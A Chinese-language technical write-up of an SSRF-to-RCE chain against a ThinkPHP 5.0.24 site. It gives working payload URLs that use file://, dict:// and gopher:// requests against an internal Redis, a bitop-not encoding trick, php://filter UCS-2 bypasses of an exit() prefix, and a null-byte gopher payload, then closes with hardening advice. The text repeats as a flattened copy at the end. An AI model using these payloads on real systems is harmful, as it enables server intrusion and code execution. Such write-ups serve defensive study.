一次“SSRF-->RCE”的艰难利用
字数 1305 2025-08-25 22:58:34

SSRF到RCE的利用:从Redis到ThinkPHP反序列化漏洞利用

1. 漏洞发现与初始利用

1.1 SSRF漏洞发现

在ThinkPHP5框架中发现一处SSRF漏洞,关键代码如下:

public function httpGet($url=""){
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_TIMEOUT, 8);
    curl_setopt($curl, CURLOPT_URL, $url);
    $res = curl_exec($curl);
    curl_close($curl);
    return $res;
}

1.2 初始利用方式

  1. 读取配置文件

    http://domain.com/public/index.php?s=index/test/httpget&url=file:////var/www/html/tp_5.0.24/application/config.php
    
  2. Redis信息探测

    • Gopher协议尝试失败(超时)
    • Dict协议成功获取Redis信息:
      http://domain.com/public/index.php?s=index/test/httpget&url=dict://127.0.0.1:6379/info
      

2. Redis利用尝试

2.1 直接写Shell的问题

  1. 用户权限问题:

    • Redis服务用户:Redis
    • Web服务器用户:www-data
    • 直接写Shell可能导致数据无法还原
  2. 特殊字符问题:

    • 使用dict://127.0.0.1:6379/set d '<?php phpinfo();?>'时无法传输?符号

2.2 Bitop命令绕过

使用Redis的bitop命令对数据进行位操作:

  1. 先对数据进行取反操作
  2. 传输到Redis后再取反恢复原数据
  3. 参考:Redis BITOP命令文档

3. ThinkPHP反序列化漏洞利用

3.1 漏洞背景

目标使用ThinkPHP 5.0.24,存在反序列化漏洞:

3.2 反序列化利用问题

  1. 原始问题:

    • 反序列化数据中包含\x00导致报错
    • :字符无法通过dict协议传输
  2. 解决方案:

    • 使用bitop not命令对数据进行两次取反
    • 绕过特殊字符限制

4. 文件写入绕过技术

4.1 原始写入方式的问题

漏洞利用代码最终调用:

file_put_contents($a,'<?php exit();'.$a)

初始绕过尝试:

php://filter/write=string.rot13/resource=xx<?php

问题:会导致输出文件出现<?cur,可能因短标签导致语法错误

4.2 有效的绕过方法

  1. UCS-4转换

    php://filter//convert.iconv.UCS-4LE.UCS-4BE/resource=abcd
    
    • 4位一反转
    • 问题:目标开启strict模式,字符数需为4的倍数
  2. UCS-2转换(最终成功)

    php://filter//convert.iconv.UCS-2LE.UCS-2BE/resource=xxxx
    
    • 2位一反转
    • 成功绕过限制

5. Gopher协议深入研究

5.1 Gopher协议特性

  1. 自动URL解码一次
  2. 与Dict协议对比:
    • Dict会自动添加quit命令
    • Gopher需要手动构造完整请求

5.2 特殊字符传输技巧

成功传输\x00字符的Payload构造:

url=gopher://127.0.0.1:6379/_*3%250d%250a$3%250d%250aset%250d%250a$3%250d%250akey%250d%250a$4%250d%250aaa%2500a%250d%250aquit

5.3 Redis-cli与原始协议差异

  • Redis-cli会对输入进行转换
  • 直接使用原始协议需要精确构造命令格式

6. 完整利用链总结

  1. 发现SSRF漏洞点
  2. 通过file协议读取配置文件获取Redis信息
  3. 使用dict协议探测Redis服务
  4. 发现无法直接写Shell后转向反序列化利用
  5. 构造反序列化Payload并解决特殊字符问题
  6. 使用bitop not命令绕过数据传输限制
  7. 利用ThinkPHP反序列化漏洞写入文件
  8. 使用php filter的UCS-2转换绕过写入限制
  9. 最终实现RCE

7. 防御建议

  1. 修复SSRF漏洞:

    • 限制curl可访问的协议和地址
    • 增加URL白名单校验
  2. Redis安全配置:

    • 设置密码认证
    • 限制绑定IP
    • 使用非root用户运行
  3. ThinkPHP安全更新:

    • 升级到最新版本
    • 禁用危险的反序列化功能
  4. PHP配置优化:

    • 关闭短标签
    • 严格限制文件写入权限
SSRF到RCE的利用:从Redis到ThinkPHP反序列化漏洞利用 1. 漏洞发现与初始利用 1.1 SSRF漏洞发现 在ThinkPHP5框架中发现一处SSRF漏洞,关键代码如下: 1.2 初始利用方式 读取配置文件 : Redis信息探测 : Gopher协议尝试失败(超时) Dict协议成功获取Redis信息: 2. Redis利用尝试 2.1 直接写Shell的问题 用户权限问题: Redis服务用户:Redis Web服务器用户:www-data 直接写Shell可能导致数据无法还原 特殊字符问题: 使用 dict://127.0.0.1:6379/set d '<?php phpinfo();?>' 时无法传输 ? 符号 2.2 Bitop命令绕过 使用Redis的 bitop 命令对数据进行位操作: 先对数据进行取反操作 传输到Redis后再取反恢复原数据 参考: Redis BITOP命令文档 3. ThinkPHP反序列化漏洞利用 3.1 漏洞背景 目标使用ThinkPHP 5.0.24,存在反序列化漏洞: 当Redis值以 think_serialize: 开头时会触发反序列化 漏洞细节参考: ThinkPHP 5.0.24反序列化漏洞 3.2 反序列化利用问题 原始问题: 反序列化数据中包含 \x00 导致报错 : 字符无法通过dict协议传输 解决方案: 使用 bitop not 命令对数据进行两次取反 绕过特殊字符限制 4. 文件写入绕过技术 4.1 原始写入方式的问题 漏洞利用代码最终调用: 初始绕过尝试: 问题:会导致输出文件出现 <?cur ,可能因短标签导致语法错误 4.2 有效的绕过方法 UCS-4转换 : 4位一反转 问题:目标开启strict模式,字符数需为4的倍数 UCS-2转换(最终成功) : 2位一反转 成功绕过限制 5. Gopher协议深入研究 5.1 Gopher协议特性 自动URL解码一次 与Dict协议对比: Dict会自动添加quit命令 Gopher需要手动构造完整请求 5.2 特殊字符传输技巧 成功传输 \x00 字符的Payload构造: 5.3 Redis-cli与原始协议差异 Redis-cli会对输入进行转换 直接使用原始协议需要精确构造命令格式 6. 完整利用链总结 发现SSRF漏洞点 通过file协议读取配置文件获取Redis信息 使用dict协议探测Redis服务 发现无法直接写Shell后转向反序列化利用 构造反序列化Payload并解决特殊字符问题 使用bitop not命令绕过数据传输限制 利用ThinkPHP反序列化漏洞写入文件 使用php filter的UCS-2转换绕过写入限制 最终实现RCE 7. 防御建议 修复SSRF漏洞: 限制curl可访问的协议和地址 增加URL白名单校验 Redis安全配置: 设置密码认证 限制绑定IP 使用非root用户运行 ThinkPHP安全更新: 升级到最新版本 禁用危险的反序列化功能 PHP配置优化: 关闭短标签 严格限制文件写入权限